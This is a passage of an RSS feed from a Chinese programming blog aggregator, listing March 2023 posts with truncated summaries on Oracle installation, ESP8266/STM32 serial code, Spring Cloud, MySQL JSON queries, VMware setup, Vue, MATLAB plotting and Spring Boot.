df_ac[df_ac[&#39;type&#39;]==4] df_ac_type 3，查看每类商品用户下单的占比</description>
    </item>
    <item>
      <title>oracle图形化安装</title>
      <link>https://bchobby.github.io/posts/867fe4dc3389ea1202289f3e390f4787/</link>
      <pubDate>Thu, 09 Mar 2023 17:04:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/867fe4dc3389ea1202289f3e390f4787/</guid>
      <description>~安装依赖（准备工作）&#xA;yum install -y compat-libcap1 yum install -y glibc-devel yum install -y libstdc++-devel yum install -y gcc-c++-4.8.2 yum install -y ksh yum install -y libaio-devel yum install -y compat-libstdc++-33-3.2.3 一.关闭防火墙、图形桌面、selinux 1.1查看firewalld防火墙状态 [root@oracledb ~] systemctl status firewalld.service 1.2关闭firewalld防火墙 [root@oracledb ~] systemctl stop firewalld.service 1.3禁止开机使用firewalld防火墙 [root@oracledb ~] systemctl disable firewalld.service 2.关闭图形桌面（看环境是否需要,一般忽略） [root@oracledb ~] systemctl get-default [root@oracledb ~]&#xA;cat /etc/inittab ##由命令行模式更改为图形界面模式&#xA;[root@oracledb ~]&#xA;systemctl set-default graphical.target ##由图形界面模式更改为命令行模式&#xA;[root@oracledb ~]&#xA;systemctl set-default multi-user.target 3.</description>
    </item>
    <item>
      <title>ESP8266与手机App通信（STM32）</title>
      <link>https://bchobby.github.io/posts/0699ea10057033d85e646f1822468fec/</link>
      <pubDate>Thu, 09 Mar 2023 15:26:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0699ea10057033d85e646f1822468fec/</guid>
      <description>认识模块 ESP8266是一种低成本的Wi-Fi模块，可用于连接物联网设备，控制器和传感器等。它具有小巧、高度集成和低功耗的特点，因此在物联网应用中被广泛使用。ESP8266模块由Espressif Systems开发，具有单芯片的封装和多种功能，包括Wi-Fi网络连接、GPIO控制、PWM控制和模拟输入/输出等。ESP8266模块支持多种编程语言和开发工具，包括C语言、Lua脚本和Arduino开发环境。ESP8266模块的一个优点是它的成本相对较低，因此可以用于低成本的物联网项目。另外，由于它具有小巧的封装和低功耗的特性，因此它可以在嵌入式系统和移动设备中使用。&#xA;总之，ESP8266模块是一种功能强大、低成本、小巧、低功耗的Wi-Fi模块，非常适合用于物联网和其他嵌入式应用中。&#xA;模块与单片机的连接 我在本次开发中选择的是模块型号为ESP8266-01S，与ESP8266一样，他们都有8个引脚，我们只用得到其中的4个引脚，分别是：&#xA;VCC：电源引脚，接收3.3V的直流电源。（也可以接5V）&#xA;VCC：电源引脚，接收3.3V的直流电源。&#xA;TXD：串行传输引脚，用于发送串行数据。&#xA;RXD：串行接收引脚，用于接收串行数据。&#xA;而唯一与ESP8266不同的是，esp8266需要接第5个引脚EN，接在高电平上。&#xA;在与STM32连接时，VCC接3.3V或5V，GND接地，TX接在32单片机的RX上，RX接在32单片机的TX上。我使用的32单片机型号为STM32F407ze，通过查找资料可知，其内部的电路图大致如下图所示：&#xA;我选择把WiFi模块连接到P6上，以下是我的实物连接图（下面那个是我连接的OLED模块，不用理会）：&#xA;接下来就是敲代码让他运行起来了。&#xA;代码部分 串口的定义 首先是定义串口，定义串口1是为了将串口3的收到数据发给电脑看。定义串口3用于WiFi模块的使用。&#xA;uart1.c 这段代码是用于配置STM32芯片上的UART1串口，并定义了一个函数 send_sring 用于通过UART1发送字符串。&#xA;#include &#34;uart.h&#34; void UART1_Config(void) { GPIO_InitTypeDef GPIO_InitStructure; USART_InitTypeDef USART_InitStructure; NVIC_InitTypeDef NVIC_InitStructure; //初始化GPIOA的时钟 RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOA, ENABLE); //初始化串口1的时钟 RCC_APB2PeriphClockCmd(RCC_APB2Periph_USART1, ENABLE); //通过结构体初始化串口引脚 GPIO_InitStructure.GPIO_Pin = GPIO_Pin_9 | GPIO_Pin_10;&#x9;//配置的引脚 GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF;&#x9;//复用模式 GPIO_InitStructure.GPIO_OType = GPIO_OType_PP;&#x9;//推挽模式 GPIO_InitStructure.GPIO_Speed = GPIO_Speed_100MHz;&#x9;//速度为100MHz GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL;&#x9;//上下拉电阻：无上下拉电阻 GPIO_Init(GPIOA, &amp;amp;GPIO_InitStructure); //选择引脚复用功能 GPIO_PinAFConfig(GPIOA, GPIO_PinSource9, GPIO_AF_USART1); GPIO_PinAFConfig(GPIOA, GPIO_PinSource10, GPIO_AF_USART1); //配置串口相关属性 USART_InitStructure.</description>
    </item>
    <item>
      <title>Spring Cloud/Spring Cloud Alibaba核心知识总结</title>
      <link>https://bchobby.github.io/posts/d85b2fe4c1d2a33e603d0eeb7db3ff7a/</link>
      <pubDate>Thu, 09 Mar 2023 11:12:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d85b2fe4c1d2a33e603d0eeb7db3ff7a/</guid>
      <description>Spring Cloud核心知识总结 springCloud是一个服务治理平台，若干个框架的集合，提供了全套的分布式系统的解决方案。包含：服务注册与发现、配置中心、服务网关、智能路由、负载均衡、断路器、监控跟踪、分布式消息、分布式事务等等。&#xA;SpringCloud 正常讲的是Spring Cloud Netflix 生态，2020年正常进入维护阶段。不会添加新的功能，现在基本上构建新的微服务都是用springCloudAlibaba为基准。&#xA;截止2022年，最新版springcloud为H版本，所以当我们再说springcloudH版是，即指的就是springcloud&#xA;SpringCloudAlibaba是阿里开发的一套微服务架构，目前已经纳入spring中；同Spring Cloud 一样，Spring Cloud Alibaba 也是一套微服务解决方案，包含开发分布式应用微服务的必需组件，方便开发者通过 Spring Cloud 编程模型轻松使用这些组件来开发分布式应用服务。主要是顺带使用阿里的产品。&#xA;下面是一张Spring Cloud核心组件关系图：&#xA;springCloudAlibaba架构图如下：&#xA;先看看SpringCloud&#xA;1、 什么是SpringCloud? Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发，如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等，都可以用Spring Boot的开发风格做到一键启动和部署。Spring Cloud并没有重复制造轮子，它只是将各家公司开发的比较成熟、经得起实际考验的服务框架组合起来，通过Spring Boot风格进行再封装屏蔽掉了复杂的配置和实现原理，最终给开发者留出了一套简单易懂、易部署和易维护的分布式系统开发工具包。&#xA;2、什么是微服务？ 微服务架构是一种架构模式或者说是一种架构风格，它提倡将单一应用程序划分为一组小的服务，每个服务运行在其独立的自己的进程中，服务之间相互协调、互相配合，为用户提供最终价值。服务之间采用轻量级的通信机制互相沟通（通常是基于HTTP的RESTful API）,每个服务都围绕着具体的业务进行构建，并且能够被独立的构建在生产环境、类生产环境等。另外，应避免统一的、集中式的服务管理机制，对具体的一个服务而言，应根据业务上下文，选择合适的语言、工具对其进行构建，可以有一个非常轻量级的集中式管理来协调这些服务，可以使用不同的语言来编写服务，也可以使用不同的数据存储。&#xA;通俗地来讲：&#xA;微服务就是一个独立的职责单一的服务应用程序。在 intellij idea 工具里面就是用maven开发的一个个独立的module，具体就是使用springboot 开发的一个小的模块，处理单一专业的业务逻辑，一个模块只做一个事情。&#xA;微服务强调的是服务大小，关注的是某一个点，具体解决某一个问题/落地对应的一个服务应用，可以看做是idea 里面一个 module。 单个服务支持横向扩展业务提升单一服务的性能和并发，从而不影响别的服务。&#xA;3、微服务之间如何独立通讯的? 同步通信：dubbo通过 RPC 远程过程调用、springcloud通过 REST 接口json调用等。&#xA;异步：消息队列，如：RabbitMq、ActiveM、Kafka等消息队列。&#xA;RPC基于TCP协议，Rest接口基于Http协议&#xA;TCP是传输层协议，定义数据传输和连接方式的规范&#xA;HTTP是应用层协议，定义传输数据的内容的规范&#xA;HTTP协议基于TCP协议，所以支持HTTP也就一定支持TCP&#xA;4、 什么是服务熔断？什么是服务降级？ 熔断机制是应对雪崩效应的一种微服务链路保护机制。当某个微服务不可用或者响应时间太长时，会进行服务降级，进而熔断该节点微服务的调用，快速返回“错误”的响应信息。当检测到该节点微服务调用响应正常后恢复调用链路。在Spring Cloud框架里熔断机制通过Hystrix实现，Hystrix会监控微服务间调用的状况，当失败的调用到一定阈值，缺省是5秒内调用20次，如果失败，就会启动熔断机制。&#xA;服务降级，一般是从整体负荷考虑。就是当某个服务熔断之后，服务器将不再被调用，此时客户端可以自己准备一个本地的fallback回调，返回一个缺省值。这样做，虽然水平下降，但好歹可用，比直接挂掉强。&#xA;Hystrix相关注解@EnableHystrix：开启熔断 @HystrixCommand(fallbackMethod=”XXX”)，声明一个失败回滚处理函数XXX，当被注解的方法执行超时（默认是1000毫秒），就会执行fallback函数，返回错误提示。&#xA;5、 请说说Eureka和zookeeper 的区别？ Zookeeper保证了CP，Eureka保证了AP。&#xA;A：高可用 ：这个比较好理解，就是说，只要我对服务器，发送请求，服务器必须对我进行相应，保证服务器一直是可用的。&#xA;C：一致性：一致性就是说，我们读写数据必须是一摸一样的。&#xA;比如一条数据，分别存在两个服务器中，server1和server2。</description>
    </item>
    <item>
      <title>脑机接口科普0017——飞米</title>
      <link>https://bchobby.github.io/posts/2833145013254037c92982533a1df06e/</link>
      <pubDate>Thu, 09 Mar 2023 10:51:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2833145013254037c92982533a1df06e/</guid>
      <description>本文禁止转载！！！！&#xA;在我们的九年制义务教育体系中，我们知道纳米是个很小的单位，一般进行单位制的转换的时候，最小就只能到达纳米级别了。&#xA;1nm = 10^-9 m&#xA;这会给学生造成一种误解。认为纳米就是最小单位了。&#xA;在脑机接口中，有个单位，叫飞米。&#xA;看看百度百科的科普：&#xA;1 fm = 10^-15 m。&#xA;飞米fm与纳米nm相差1000000倍！！！&#xA;飞米主要用于测量原子核级别的物质。&#xA;原子核很小！ 上图是一个大脑的一个神经元，里面是有一个细胞核的。细胞核也很小。&#xA;也就是说，飞米这个单位，是应用在侵入式的脑机接口中的。&#xA;下图，是犹他电极阵列，这种电极，是做侵入式使用的，会插到人的大脑灰质中。这个犹他电极很小很细，他就是用来探测神经元的局部场电位信号或者尖峰信号的。&#xA;这个局部场电位的信号采集叫做Spikes&amp;amp;LFPs，这在之前的的第8课科普讲过。&#xA;脑机接口科普0008——侵入式与非侵入式_侵入式和非侵入式脑机接口_sgmcy的博客-CSDN博客&#xA;综上：目前人类的技术，还没有实现对原子核级别的每个神经元脑电信号的采集和处理（毕竟人类大脑有860亿个神经元，想想需要做成头发系的也不行啊，头发也没有860亿根啊），但是，人类先发明了飞米，意味着人类有这样一个宏愿，这个宏愿就是——希望可以实现对原子核级别的大脑神经元的监测。（从光学层面，目前人类可以使用电子显微镜实现对纳米级别的神经元的成像观察）。</description>
    </item>
    <item>
      <title>MySQL 针对JSON类型字段数据进行提取和查询</title>
      <link>https://bchobby.github.io/posts/b3934baf7b640921f902bf369c5a584f/</link>
      <pubDate>Thu, 09 Mar 2023 10:36:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3934baf7b640921f902bf369c5a584f/</guid>
      <description>文章目录 前言背景：JSON数据双引号处理第一种：第二种：第三种：第四种：总结 前言 请各大网友尊重本人原创知识分享，谨记本人博客：南国以南i、&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;背景： 当我们使用SQL查询时，想对数据字段中JOSN串进行特殊处理，以下为简单列举&#xA;#使用函数查询：JSON_CONTAINS(字段,JSON_OBJECT(&#39;json属性&#39;, &#39;内容&#39;)) select JSON_EXTRACT(password, &#39;$.applCde&#39;) as applCde,JSON_EXTRACT(password, &#39;$.applyAmt&#39;) as applyAmt from user where id=&#39;9&#39; #使用 json字段名-&amp;gt;’$.json属性’ 进行查询条 select password-&amp;gt;&#39;$.applCde&#39; as applCde,password-&amp;gt;&#39;$.applyAmt&#39; as applyAmt from user where id=&#39;9&#39; JSON数据双引号处理 平常的json数据在查询出来的时候 是有双引号的&#xA;第一种： #使用`TRIM函数`去除双引号之后 select TRIM(BOTH &#39;&#34;&#39; FROM JSON_EXTRACT(password, &#39;$.applCde&#39;)) as applCde,JSON_EXTRACT(password, &#39;$.applyAmt&#39;) as applyAmt from user where id=&#39;9&#39; 第二种： select TRIM(BOTH &#39;&#34;&#39; from `password`-&amp;gt;&#39;$.applCde&#39;) as num from user WHERE id=&#39;9&#39; 第三种： #通过JSON_UNQUOTE 获取的json数据是不带双引号的 select JSON_UNQUOTE(`password`-&amp;gt;&#39;$.</description>
    </item>
    <item>
      <title>VMware虚拟机搭建环境通用方法</title>
      <link>https://bchobby.github.io/posts/b09a128f002791d89466ed357f755319/</link>
      <pubDate>Thu, 09 Mar 2023 09:16:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b09a128f002791d89466ed357f755319/</guid>
      <description>目录 一、前期准备1.下载并安装一个虚拟机软件 二、开始创建虚拟机1.配置虚拟机硬件相关操作2.虚拟机网络相关操作 三、开机配置相关内容0.开机遇到报错处理（选看--开机没有报错请忽略）1.开始配置2.开机之后配置3.使用xshell远程登录4.使用xshell配置虚拟机网络信息(完成单机版搭建) 四、搭建集群1.配置host信息2.注册权限用户3.创建用于存放安装包以及软件安装后的存放目录4.配置目录指定所有者5.配置分发脚本6.克隆两台虚拟机7.三台虚拟机配置映射地址8.配置分发免密登录 五、总结 一、前期准备 1.下载并安装一个虚拟机软件 VMware16下载地址&#xA;提示：如何使用免费版本网上有好多，这里就不具体讲解了。遇事不决问百度&#xA;提示：如果下载较慢建议切换其他站点进行下载，目前使用华为现在还是比较快的，推荐下载iso文件，我没有下载everything这种的iso文件，可能和后续安装报错不同，这里没有使用带everything的iso文件做演示&#xA;阿里centos7下载地址&#xA;华为下载centos7&#xA;提示：如何使用免费版本网上有好多，这里就不具体讲解了。遇事不决问百度&#xA;xshell或者其他远程工具下载（如果不嫌虚拟机麻烦）&#xA;二、开始创建虚拟机 1.配置虚拟机硬件相关操作 提示：修改虚拟机名称便于后续搭建集群进行区分，位置更换到指定位置，我一般喜欢放在固态硬盘里，如果固态空间比较紧张，那就放在一个空间充足的地方，建议至少有60GB空间的磁盘。&#xA;提示：设置内存大小，根据你的实际内存进行配置，如果你就8G内存，建议1G或者更小，我这里是16G所以设置的稍微大一点，后续需要搭建集群三太虚拟机每天2G内存，当然也可以使用配置磁盘充当内存，在后续进行设置。&#xA;提示：设置你下载好的centos7文件&#xA;2.虚拟机网络相关操作 注意：设置网络模式为NAT模式&#xA;打开Windows命令行：输入如下命令查询自己的ipv4地址、子网掩码、网关等，不要看vm开头的。我这里是网线，如果你们链接的是wifi的话选择带无线局域网相关的内容。&#xA;ipconfig 提示：回到vmware，为虚拟机配置网络信息&#xA;虚拟机配置根据你Windows上的信息配置&#xA;例如我的Ipv4地址为192.168.11.6，那么虚拟机配置为192.168.11.0.子网掩码就有255.255.255.0就可以&#xA;配置网关&#xA;和你Windows中的ipv4地址一个网段，不要和已经配置的ip地址重复&#xA;设置网关&#xA;三、开机配置相关内容 遇到这个界面直接按回车&#xA;0.开机遇到报错处理（选看–开机没有报错请忽略） 如果遇到这个问题，请按照如果下步骤进行操作&#xA;步骤1&#xA;或者直接点击&#xA;步骤2 勾选如下内容，保存后再次开机&#xA;如果还不行，选择低版本兼容&#xA;步骤3&#xA;然后开机&#xA;如果还是不行，比如我就是这个大冤种，尝试更换一下centos7的其它版本镜像。我成功了，更换的是个镜像，去掉之前那些步骤设置的信息哈。我是直接把之前新建的虚拟机删除了，然后新建只是更换的镜像文件，步骤1-3都没有操作&#xA;1.开始配置 这里没有选择最小化安装，因为好的软件需要&#xA;如果内存不足，则使用磁盘充当内存，分配大小4G&#xA;**记住这个网络地址，后续需要使用他连接xshell**&#xA;设置root用户&#xA;等待一段时间之后点击重启&#xA;2.开机之后配置 还记得之前配置网络的那个ip地址吗j,如果忘记了请往下看。&#xA;在虚拟机先登录你的root用户，输入你的账号密码，密码默认是不会显示出来的包括位数。只要输完点击回车就行&#xA;root 登录成功之后&#xA;输入&#xA;ifconfig 得到ip地址&#xA;3.使用xshell远程登录 连接成功！！！&#xA;4.使用xshell配置虚拟机网络信息(完成单机版搭建) 声明 : linux使用的一下功能&#xA;1.对文件内容进行 编辑，按键盘 i 键小写状态下。&#xA;2.对文件修改完成后进行 保存，步骤1 esc 键退出编辑模式。步骤2 : 键英文状态下的冒号。步骤3 wq 键小写模式。步骤4 enter 键回车。</description>
    </item>
    <item>
      <title>java多线程（二三）并发编程：Callable、Future和FutureTask</title>
      <link>https://bchobby.github.io/posts/dbd6d5af174b0be1eb7e376cacdd3d3c/</link>
      <pubDate>Thu, 09 Mar 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbd6d5af174b0be1eb7e376cacdd3d3c/</guid>
      <description>一、Callable 与 Runnable 先说一下java.lang.Runnable吧，它是一个接口，在它里面只声明了一个run()方法：&#xA;public interface Runnable { public abstract void run(); } 由于run()方法返回值为void类型，所以在执行完任务之后无法返回任何结果。&#xA;Callable位于java.util.concurrent包下，它也是一个接口，在它里面也只声明了一个方法，只不过这个方法叫做call()：&#xA;public interface Callable&amp;lt;V&amp;gt; { /** * Computes a result, or throws an exception if unable to do so. * * @return computed result * @throws Exception if unable to compute a result */ V call() throws Exception; } 可以看到，这是一个泛型接口，该接口声明了一个名称为call()的方法，同时这个方法可以有返回值V，也可以抛出异常。call()方法返回的类型就是传递进来的V类型。&#xA;那么怎么使用Callable呢？一般情况下是配合ExecutorService来使用的，在ExecutorService接口中声明了若干个submit方法的重载版本：&#xA;&amp;lt;T&amp;gt; Future&amp;lt;T&amp;gt; submit(Callable&amp;lt;T&amp;gt; task); &amp;lt;T&amp;gt; Future&amp;lt;T&amp;gt; submit(Runnable task, T result); Future&amp;lt;?&amp;gt; submit(Runnable task); 第一个方法：submit提交一个实现Callable接口的任务，并且返回封装了异步计算结果的Future。</description>
    </item>
    <item>
      <title>Simulink模块库简介</title>
      <link>https://bchobby.github.io/posts/8e54ea549b2300e325f05639b4db2c05/</link>
      <pubDate>Thu, 09 Mar 2023 01:35:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e54ea549b2300e325f05639b4db2c05/</guid>
      <description>在Matlab的命令窗口中键入Simulink或在Matlab的工具栏中单击Simulink按钮 ，可以打开Simulink的模块库，其界面又称为模块库浏览器。 信号源模块组&#xA;连续模块组 离散模块组 数学运算模块组 输出池模块组 信号线路发送模块组 断续模块组 Simulink模型的建立与操作 模型窗口的建立&#xA;在Simulink中打开一个空白的模型窗口，如下图。可以通过以下几种方法：&#xA;在Matlab的命令窗口的File菜单中选择New命令的Model；&#xA;在Simulink窗口下的File菜单中选择New命令的Model；&#xA;单击Simulink工具栏中的‘新建模型’&#xA;保存模型：&#xA;建立一个模型后可以把它保存下来。&#xA;使用模型窗口中的File菜单下的Save选项，或者用Save as选项改名保存文件。相应的文件的扩展名为.mdl。在Matlab的命令窗口中，键入模型文件名，可以打开相应的模型文件。&#xA;一. 模块大小的调整&#xA;选中模块后，模块的四角出现了小方块，用&#xA;鼠标单击任一角的小方块进行拖拽，即可改&#xA;变模块的大小。&#xA;二.模块的旋转&#xA;选中模块后，弹出鼠标右键菜单，然后选择&#xA;菜单命令Format下的Rotate block，模块则&#xA;按顺时针方向旋转90，若选择Flip block，模&#xA;块则翻转180。&#xA;三. 模块的连接&#xA;因为模块的每个允许输出的口都有一个输出符号&amp;gt;，&#xA;而输入端也有一个表示输入的符号&amp;gt;，因此若连接两&#xA;个模块，只需要在第一个模块的输出口按下鼠标左&#xA;键，拖动到后一个模块的输入口处，释放鼠标即可。&#xA;若想快速的连接两个模块，可单击选中源模块，按&#xA;下Ctrl键，再单击目标模块即可。&#xA;连线的分支：在仿真过程中，经常需要把一个信号输&#xA;送的不同的模块，这时就需要从一根线中分出一根连&#xA;线。操作方法，在连好一条线后，把鼠标放到分支点&#xA;的位置，先按下Ctrl键，然后按下鼠标拖动到目标模&#xA;块的输入端，释放鼠标和Ctrl键。&#xA;四. 模块标签的改变&#xA;在模型窗口中创建模块时，Simulink会在每个模块的下面默认位置上加一个标签。用户可以按照自己的意愿给模块命名。这时只需要在标签的任何位置单击或双击鼠标，然后进行修改即可。&#xA;五. 模块参数的修正&#xA;Simulink在绘制模块时，给出的是带有默认参数的模块模型，所以通常需要修改。具体过程为选中模块并双击，在弹出的对话框中，找到对应的参数并修改即可。&#xA;Simulink模型举例&#xA;微分方程中的系统是时间t的函数，t由信号源模块库(Sources)中的时钟模块(Clock)提供，用数学运算模块库(Math Operation)中的数学函数模块(Math Function)产生，再配合以Sources库中的常数模块(Constant)、Math Operations库中的乘积模块(Product)和连续系统模块库(Continuous)中的积分模块(Integrator)等，就可以建立系统模型。关于输出可以用输出模块库(Sinks)中的输出端口模块(Out)，也可以用Scope模块等等。&#xA;①打开一个模型编辑窗口。&#xA;②将所需要的模块添加到模型窗口中。&#xA;③设置模块参数并连接各个模块组成仿真模型。双击Constant模块，打开其参数设置对话框，在Constant value栏中输入-0.5，其余模块不用设置。&#xA;④连接各个模块组成系统仿真模型，如下图。 设置仿真参数&#xA;在仿真过程中，要对仿真算法，输出模式等各种仿真参数进行设置。&#xA;在模型编辑窗口的Simulation菜单中选择Configuration Parameters命令，打开仿真参数对话框。包含7个选项。如图：&#xA;点击启动按钮或者从菜单中启动。&#xA;观察仿真结果的变化轨迹：把输出信号送到Scope模块或者XY Graph模块。&#xA;sine wave参数修改：双击该模块，可以修改频率，振幅，和相位(pi/2)等</description>
    </item>
    <item>
      <title>Spring Boot&#43;Vue前后端分离项目练习06之网盘项目创建vue项目</title>
      <link>https://bchobby.github.io/posts/4cd78ccb2d848ed80958ea923aa68451/</link>
      <pubDate>Wed, 08 Mar 2023 23:31:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cd78ccb2d848ed80958ea923aa68451/</guid>
      <description>1.安装环境 构建vue项目，需要提前安装相应的环境，这里主要就是node，npm和Vue CLl。&#xA;#1、安装nodejs brew install nodejs #2、再执行下面命令来安装npm(npm是开发nodejs时所用的依赖库) brew install npm #3、安装vue cli npm install -g @vue/cli # OR yarn global add @vue/cli 这些环境的安装还会比较简单的，其他平台的安装也是基本一致的，接着查看环境的安装情况。&#xA;node --version vue --version 2.创建vue项目 切换到具体的目录下，使用以下指令就可以完成vue项目。&#xA;vue create file-web ?Please pick a presset（Use arrow keys）这一行是提示行，后面的每一个依赖安装都会以这样的提示开头，紧接着的是选项列表。用键盘上下键可切换选中项（高亮蓝色），回车键确定选中。&#xA;这里我们采用Manually select features来手动安装一些依赖。&#xA;接着选择你需要的功能。仍然是键盘上下键控制选中项，这里采用空格键选中或取消选中当前项。这里我们选中下图中的几个功能：选择Vue版本，安装Babel、Router、Vuex、CSS预编译器和格式化检查，回车键确定。&#xA;接着选择Vue.js版本，此实验采用2.x。&#xA;接着都是同样的流程，选择自己需要的选项确定即可。&#xA;路由是否采用history模式（HTML5 History 模式 | Vue Router），选择是。输入Y，回车键确定。&#xA;选择一个CSS预编译器，可以选择任意一个，这里选用Stylus。&#xA;选择一个插件化的JavaScript代码检测和格式化工具 ，此处采用ESLint width error prevention only。&#xA;何时检测代码，此处采用Lint on save保存文件时测试。&#xA;如何存放配置，选择保存到专用的配置文件中。&#xA;是否保存本次配置（y：记录本次配置，然后需要给配置命名，N：不记录本次配置），这里选择 N。&#xA;接着会自动开始安装各种依赖。&#xA;进度100%后，项目就创建成功了，同时也会给出提示。&#xA;使用以下指令启动项目。&#xA;cd file-web npm run serve 接着使用上面的地址即可访问项目了，出现以下画面就说明项目成功创建并启动了。</description>
    </item>
    <item>
      <title>matlab画图plot以及自动保存图像</title>
      <link>https://bchobby.github.io/posts/a729d2a45a25a5538f363dc6d3b10c49/</link>
      <pubDate>Wed, 08 Mar 2023 19:50:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a729d2a45a25a5538f363dc6d3b10c49/</guid>
      <description>plot （1）plot(x)，x为向量时，以该元素的下标为横坐标、元素值为纵坐标绘出曲线。&#xA;（2）plot(x,y),x、y为同维数组时，绘制以x、y元素为横纵坐标的曲线。&#xA;（3）plot(x1,y1,x2,y2,...)，绘制以x1为横坐标、y1为纵坐标的曲线1，以x2为横坐标、y2为纵坐标的曲线2，等等。其中x为横坐标，y为纵坐标，绘制y=f(x)函数曲线。&#xA;常用语句见示例：&#xA;% figure(&#39;color&#39;,&#39;w&#39;) % 设置图片背景色为白色 % figure(&#39;Name&#39;,&#39;测试数据图&#39;) % 第一张图就会显示figure1 测试数据图。 figure % 常见代码直接用figure是最常见的命令 plot(aa(t1,1),&#39;-ro&#39;) % 绘图时plot命令中末尾&#39;-.r*&#39;、&#39;--mo&#39;、&#39;:bs&#39; 可改变线条和点的样式,如：m代表颜色后面的o代表点的样式 set(gca,&#39;XTick&#39;,[0:10:320]); %设定x坐标范围和间距 set(gca,&#39;YTick&#39;,[95:1:101])； %设定y坐标范围和间距 % set(gca,&#39;XLim&#39;,[0 315]); % 设定x坐标的范围。注意set语句要放在plot后面才起作用 % set(gca,&#39;XTick&#39;,[0,50,315]); % 设定x坐标的刻度范围。（注意和上面不同，上面不加逗号） % axis([xmin xmax ymin ymax]); % axis设置坐标轴在指定的区间，注意这个必须同时设定xy % xlim([xmin xmax]) % 只设置x坐标范围 % ylim([ymin ymax]) % 只设置y坐标范围 % legend(&#39;A&#39;) % 添加图例 ylabel(&#39;均值&#39;); xlabel(&#39;样本数&#39;); % 添加x,y标签 % ylabel(&#39;values of sin(t) and e^{-x}&#39;) % 添加y轴信息 e^{-x}是显示指数的方法 title([&#39;第&#39;,num2str(t),&#39;列信号&#39;]); % 添加图片title %% 多行title % firstline = &#39;测试集的实际分类和预测分类图&#39;; % secondline= [&#39;Accuracy=&#39;,num2str(accuracy)]; % title({firstline;secondline},&#39;Fontsize&#39;,12); % title(&#39;{\s}^{-1}&#39;); 只想显示图像的一部分：</description>
    </item>
    <item>
      <title>PTA：L1-022 奇偶分家、L1-023 输出GPLT、L1-024 后天（C&#43;&#43;）</title>
      <link>https://bchobby.github.io/posts/ddab309fdd4eeef12e92a98c70a77eae/</link>
      <pubDate>Wed, 08 Mar 2023 19:19:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddab309fdd4eeef12e92a98c70a77eae/</guid>
      <description>目录&#xA;L1-022 奇偶分家&#xA;问题描述：&#xA;L1-023 输出GPLT&#xA;问题描述：&#xA;实现代码：&#xA;L1-024 后天&#xA;问题描述：&#xA;实现代码：&#xA;简单题，没写题解，看代码就能看懂 L1-022 奇偶分家 问题描述： 给定N个正整数，请统计奇数和偶数各有多少个？&#xA;输入格式： 输入第一行给出一个正整N（≤1000）；第2行给出N个非负整数，以空格分隔。&#xA;输出格式： 在一行中先后输出奇数的个数、偶数的个数。中间以1个空格分隔。&#xA;输入样例： 9 88 74 101 26 15 0 34 22 77 输出样例： 3 6 实现代码：&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; const int N = 1010; int main() { int n; int dou = 0;//偶数 int sim = 0;//单数 cin &amp;gt;&amp;gt; n; while (n--) { int m; cin &amp;gt;&amp;gt; m; if (m % 2 == 0) { dou++; } else { sim++; } } cout &amp;lt;&amp;lt; sim &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>Vue(3). 如何将高德地图引入的vue中</title>
      <link>https://bchobby.github.io/posts/2bcad78b78b2147b5b67ec8ca1ce84fa/</link>
      <pubDate>Wed, 08 Mar 2023 17:21:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2bcad78b78b2147b5b67ec8ca1ce84fa/</guid>
      <description>1.首先需要进入高德地图平台 注册账号获取KEY&#xA;2.在vue终端里输入 npm i @amap/amap-jsapi-loader --save # 或 cnpm i @amap/amap-jsapi-loader --save 3.另一种方式是传统的&amp;lt;script&amp;gt;，但不建议，需要的可以看官方了。&#xA;4. 在需要的组件中创建一个容器，确定高宽：&#xA;&amp;lt;divid=&#34;container&#34;style=&#34;height: 800px;width: 800px;&#34;&amp;gt;&amp;lt;/div&amp;gt; 导入&#xA;importAMapLoaderfrom&#39;@amap/amap-jsapi-loader&#39;; 并在setup()/mounted()中加载：&#xA;import AMapLoader from &#39;@amap/amap-jsapi-loader&#39;; import axios from &#39;axios&#39;; import qs from &#39;qs&#39;; // import router from &#39;@/router&#39;; import { useRouter, useRoute } from &#34;vue-router&#34;; import { ref } from &#39;vue&#39; // import { times } from &#39;lodash&#39;; const router = useRouter(); const route = useRoute(); const active = ref([0]); const tabDatas = ref([]) const regions = ref([]) const regionss = ref([]) const lng_lst = ref([]) const minimg = ref(&#39;&#39;) axios({ method: &#34;</description>
    </item>
    <item>
      <title>SpringBoot学习笔记整理</title>
      <link>https://bchobby.github.io/posts/f60f828ed13983fea1e9059dfcfae6ef/</link>
      <pubDate>Wed, 08 Mar 2023 15:04:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f60f828ed13983fea1e9059dfcfae6ef/</guid>
      <description>SpringBoot 第一章JavaConfig 1.为什么要使用 Spring Boot&#xA;因为Spring， SpringMVC 需要使用的大量的配置文件 （xml文件）&#xA;还需要配置各种对象，把使用的对象放入到spring容器才能使用对象。&#xA;2.SpringBoot 就相当于 不需要配置文件的Spring+SpringMVC。 常用的框架和第三方库都已经配置好了。&#xA;拿来就可以使用了。&#xA;3.SpringBoot开发效率高，使用方便多了&#xA;1.1JavaConfig 使用java类作为xml配置文件的替代，是配置spring容器的纯java方式。在这个java类中可以创建java对象，把对象放入spring容器中（注入到容器）。&#xA;使用两个注解：&#xA;1）@Configuration：放在一个类的上面，表示这个类是作为配置文件使用的&#xA;2）@Bean：声明对象，把对象注入到容器中。&#xA;例子： package com.bjpowernode.config; import com.bjpowernode.vo.Student; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; /** * Configuration:表示当前类是作为配置文件使用的。 就是用来配置容器的 